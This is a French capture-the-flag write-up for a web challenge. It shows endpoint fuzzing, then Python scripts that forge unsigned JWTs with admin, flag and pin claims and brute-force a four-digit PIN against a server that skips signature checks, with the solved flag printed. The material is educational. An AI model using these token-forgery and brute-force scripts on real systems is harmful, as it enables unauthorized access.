you-can-trust-me
Catégorie: Web Difficulté: easy Flag: CTF{2965f7e9fcc77fff2bd869db984df8371845d6781edb382cc34536904207a53d}
Challenge
Description
We hired a new junior dev to make proof of concept for a route that checks a jwt. Let's just say that he had the right intentions.
Flag format: CTF{sha256}
Ce challenge tourne sur un docker et n'est pas disponible
Analyse du serveur
La première fois que l’on fait une requête, on reçoit la réponse No cookie found

Dans les headers de réponse, on trouve dans le set-cookie
sessionKey=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYW5vbnltb3VzIn0.V4spQoBMR3HbzhRYcVwXhOxCze3RG4f3ecnBfM-Txww; Path=/; HttpOnly
Dans ce JWT :

En faisant à nouveau une requête mais avec ce cookie cette fois, on a la réponse Hello user. Since you do not have administrative privileges I guess you will have to wait here.

Fuzzing
On est bloqué ici et on nous dit d’attendre, traduction : il faut chercher d’autres endpoints
$ wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/common.txt --hc 404 -u http://34.89.210.219:31324/FUZZ
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://34.89.210.219:31324/FUZZ
Total requests: 4715
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000001519: 200 30 L 62 W 939 Ch "docs"
Total time: 12.62199
Processed Requests: 4715
Filtered Requests: 4714
Requests/sec.: 373.5543

Attaque du JWT
Avant toute attaque plus élaborée, on tente de modifier le payload et l’on découvre avec stupeur que le serveur de vérifie pas la signature. On peut donc contrôler le payload à notre guise et ajouter is_admin
dedans
from requests import get
from base64 import b64encode
from json import dumps
payload = {
"user": "anonymous",
"is_admin": True
}
token = b64encode(b'{"alg":"HS256","typ":"JWT"}').decode().replace('=', '') + '.'
token += b64encode(dumps(payload).encode()).decode().replace('=', '') + '.'
response = get('http://34.89.210.219:31324', headers={'Cookie': f'sessionKey={token}'})
print(response.text)
# "User is not admin"
On continue en suivant ce qu’on nous dit
from requests import get
from base64 import b64encode
from json import dumps
payload = {
"user": "admin",
"is_admin": True
}
token = b64encode(b'{"alg":"HS256","typ":"JWT"}').decode().replace('=', '') + '.'
token += b64encode(dumps(payload).encode()).decode().replace('=', '') + '.'
response = get('http://34.89.210.219:31324', headers={'Cookie': f'sessionKey={token}'})
print(response.text)
# "Missing flag"
from requests import get
from base64 import b64encode
from json import dumps
payload = {
"user": "admin",
"is_admin": True,
"flag": True
}
token = b64encode(b'{"alg":"HS256","typ":"JWT"}').decode().replace('=', '') + '.'
token += b64encode(dumps(payload).encode()).decode().replace('=', '') + '.'
response = get('http://34.89.210.219:31324', headers={'Cookie': f'sessionKey={token}'})
print(response.text)
# "missing pin"
from requests import get
from base64 import b64encode
from json import dumps
payload = {
"user": "admin",
"is_admin": True,
"flag": True,
"pin": True
}
token = b64encode(b'{"alg":"HS256","typ":"JWT"}').decode().replace('=', '') + '.'
token += b64encode(dumps(payload).encode()).decode().replace('=', '') + '.'
response = get('http://34.89.210.219:31324', headers={'Cookie': f'sessionKey={token}'})
print(response.text)
# "pin is not valid. (hint)use your phone pin first 4"
Maintenant il faut bruteforce un nombre à 4 chiffres
from requests import get
from base64 import b64encode
from json import dumps
for i in range(10000):
pin = f"{i:0>4}"
payload = {
"user": "admin",
"is_admin": True,
"flag": True,
"pin": pin
}
token = b64encode(b'{"alg":"HS256","typ":"JWT"}').decode().replace('=', '') + '.'
token += b64encode(dumps(payload).encode()).decode().replace('=', '') + '.'
response = get('http://34.89.210.219:31324', headers={'Cookie': f'sessionKey={token}'})
print(i, response.text)
# 7329 "pin is not valid. (hint)use your phone pin first 4"
# 7330 "pin is not valid. (hint)use your phone pin first 4"
# 7331 "CTF{2965f7e9fcc77fff2bd869db984df8371845d6781edb382cc34536904207a53d}"
# 7332 "pin is not valid. (hint)use your phone pin first 4"
# 7333 "pin is not valid. (hint)use your phone pin first 4"
Dernière mise à jour
Cet article vous a-t-il été utile ?